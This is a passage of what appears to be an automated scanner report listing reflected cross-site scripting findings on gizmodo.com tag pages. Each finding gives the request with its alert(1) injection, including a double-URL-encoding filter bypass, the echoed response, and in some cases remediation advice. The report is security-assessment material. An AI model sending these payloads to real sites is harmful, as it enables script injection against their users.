P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=531424 at t=1292286546812623 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9982
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 126692

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<a href="/tag/twitter/?8c326"><script>alert(1)</script>1cb7869197b=1&p=1" class="current_page">
...[SNIP]...

1.13. http://gizmodo.com/tag/vacuums/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/vacuums/

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 28623"-alert(1)-"4bef2676e39 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tag/vacuums28623"-alert(1)-"4bef2676e39/ HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:29:13 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:12 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:12 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:29:12 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:29:12 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:29:12 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=170210 at t=1292286553152613 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9973
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59016

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/tag/vacuums28623"-alert(1)-"4bef2676e39/", c5:"", c6:"", c15:"d83bc45c61a6ebfbdc572c64d1a295c6" });</script>
...[SNIP]...

1.14. http://gizmodo.com/tag/vacuums/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/vacuums/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7bbfa%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e489bbc3bd90 was submitted in the REST URL parameter 2. This input was echoed as 7bbfa"><script>alert(1)</script>489bbc3bd90 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /tag/vacuums7bbfa%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e489bbc3bd90/ HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:29:10 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=101613 at t=1292286550209476 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9966
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59271

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="Gizmodo: vacuums7bbfa"><script>alert(1)</script>489bbc3bd90 RSS feed" href="/tag/vacuums7bbfa%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e489bbc3bd90/index.xml" />
...[SNIP]...

1.15. http://gizmodo.com/tag/vacuums/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/vacuums/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f690f"><script>alert(1)</script>0489688e485 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /tag/vacuums/?f690f"><script>alert(1)</script>0489688e485=1 HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:29:04 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:03 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:03 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:29:04 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:29:04 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:29:04 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=766352 at t=1292286544692418 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9985
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 121694

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<a href="/tag/vacuums/?f690f"><script>alert(1)</script>0489688e485=1&p=1" class="current_page">
...[SNIP]...

1.16. http://gizmodo.com/tag/video/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/video/

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 860bf"-alert(1)-"c9908414bf3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tag/video860bf"-alert(1)-"c9908414bf3/ HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:28:58 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:57 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:57 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:28:57 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:28:58 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:28:58 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=90849 at t=1292286538931614 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9991
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 58990

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/tag/video860bf"-alert(1)-"c9908414bf3/", c5:"", c6:"", c15:"d83bc45c61a6ebfbdc572c64d1a295c6" });</script>
...[SNIP]...

1.17. http://gizmodo.com/tag/video/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/video/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e0f8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb47308ffb49 was submitted in the REST URL parameter 2. This input was echoed as 8e0f8"><script>alert(1)</script>b47308ffb49 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /tag/video8e0f8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb47308ffb49/ HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:28:54 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:53 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:53 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:28:53 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:28:53 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:28:53 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=126763 at t=1292286534142682 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9999
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59245

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="Gizmodo: video8e0f8"><script>alert(1)</script>b47308ffb49 RSS feed" href="/tag/video8e0f8%22%3e%3cscript%3ealert%281%29%3c%2fscript%3eb47308ffb49/index.xml" />
...[SNIP]...

1.18. http://gizmodo.com/tag/video/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/video/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d770f"><script>alert(1)</script>f3d74d734e2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /tag/video/?d770f"><script>alert(1)</script>f3d74d734e2=1 HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:28:49 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:48 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:48 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:28:48 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
